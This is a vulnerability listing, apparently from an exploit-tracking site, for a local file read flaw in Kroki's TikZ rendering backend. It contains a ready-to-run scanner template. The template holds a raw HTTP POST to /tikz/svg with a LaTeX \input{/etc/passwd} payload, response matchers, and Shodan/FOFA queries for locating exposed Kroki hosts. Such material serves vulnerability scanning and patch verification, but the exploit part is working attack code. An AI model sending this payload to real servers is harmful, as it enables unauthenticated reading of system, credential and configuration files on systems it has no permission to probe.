CVE-2026-102359: Kroki TikZ Backend < 0.31.2 - Local File Read

2026-12-04 PoC Public

Description

Kroki prior to 0.31.2, when the TikZ backend (tikz2svg) is deployed, contains a local file read vulnerability because the secure-mode guard only blocks the \verbatiminput primitive, leaving \input, \include, \openin+\read and \lstinputlisting unrestricted. TeX Live ships with openin_any=a (allow any path) by default and the Kroki Docker image never overrides this setting, so an unauthenticated attacker can POST a crafted LaTeX document to /tikz/svg and receive the contents of any file readable by the container user embedded in the SVG response.

Details

CVE
CVE-2026-102359 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-102359

info:
  name: Kroki TikZ Backend < 0.31.2 - Local File Read
  author: maulanawirawan
  severity: high
  description: |
    Kroki prior to 0.31.2, when the TikZ backend (tikz2svg) is deployed, contains a local file read vulnerability because the secure-mode guard only blocks the \verbatiminput primitive, leaving \input, \include, \openin+\read and \lstinputlisting unrestricted. TeX Live ships with openin_any=a (allow any path) by default and the Kroki Docker image never overrides this setting, so an unauthenticated attacker can POST a crafted LaTeX document to /tikz/svg and receive the contents of any file readable by the container user embedded in the SVG response.
  impact: |
    Unauthenticated attackers can read arbitrary server files such as /etc/passwd, environment files and configuration data through the TikZ rendering endpoint.
  remediation: |
    Update to version 0.31.2 or later, which restricts kpathsea file lookup with openin_any=p (paranoid) in secure mode.
  reference:
    - https://github.com/yuzutech/kroki/security/advisories/GHSA-r54f-fq6c-53vw
    - https://github.com/yuzutech/kroki/commit/9108ab5b429b9dc82b76432ccf40d4d7eeba1b30
    - https://nvd.nist.gov/vuln/detail/CVE-2026-102359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-102359
    epss-score: 0.02028
    epss-percentile: 0.8167
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: yuzutech
    product: kroki
    shodan-query: title:"Kroki"
    fofa-query: title="Kroki"
  tags: cve,cve2026,kroki,lfi,unauth,file-read

http:
  - raw:
      - |
        POST /tikz/svg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        \begin{document}
        \catcode`\_=12
        \input{/etc/passwd}
        \end{document}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "svg")'
          - 'contains(body, "generated by dvisvgm")'
        condition: and
# digest: 4b0a00483046022100de4e701a24d533f0c16170e37b013bc0a2a1878fcb358506f97664a503710d8c022100c6f255d569c6db1c798f5b91d1e03134126c084264aa7e1068c9c602b0905eb6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life